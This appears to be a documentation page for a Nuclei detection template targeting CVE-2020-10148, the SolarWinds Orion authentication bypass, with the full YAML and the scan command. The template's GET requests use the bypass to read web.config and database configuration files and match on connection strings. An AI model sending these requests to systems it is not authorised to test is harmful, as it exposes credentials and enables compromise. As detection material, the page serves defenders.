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SolarWinds Orion API - Auth Bypass

ID: CVE-2020-10148

Severity: critical

Author: dwisiswant0

Tags: cve2020,cve,solarwinds,rce,auth-bypass,kev

Description

Section titled “Description”

SolarWinds Orion API is vulnerable to an authentication bypass vulnerability that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.

YAML Source

Section titled “YAML Source”
id: CVE-2020-10148


info:
  name: SolarWinds Orion API - Auth Bypass
  author: dwisiswant0
  severity: critical
  description: |
    SolarWinds Orion API is vulnerable to an authentication bypass vulnerability that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the SolarWinds Orion system.
  remediation: |
    Apply the necessary patches or updates provided by SolarWinds to fix the authentication bypass vulnerability.
  reference:
    - https://kb.cert.org/vuls/id/843464
    - https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/solarwinds-lfi-cve-2020-10148.yaml
    - https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965
    - https://twitter.com/0xsha/status/1343800953946787847
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10148
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10148
    cwe-id: CWE-287,CWE-288
    epss-score: 0.97265
    epss-percentile: 0.99853
    cpe: cpe:2.3:a:solarwinds:orion_platform:2019.4:hotfix5:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: solarwinds
    product: orion_platform
  tags: cve2020,cve,solarwinds,rce,auth-bypass,kev
variables:
  string: "{{to_lower(rand_text_alpha(5))}}"


http:
  - method: GET
    path:
      - "{{BaseURL}}/web.config.i18n.ashx?l={{string}}&v={{string}}"
      - "{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l={{string}}&v={{string}}"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SolarWinds.Orion.Core."
          - "Connection String"
        condition: or


      - type: word
        part: header
        words:
          - "text/plain"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ae0b39ddf17ee3016eceb5319e43643d75bd594518db007327820613a36998f3022074e58f9108558ec9df782d1c2716ec823d112e92be947244eab16238b76f5d3e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-10148.yaml"

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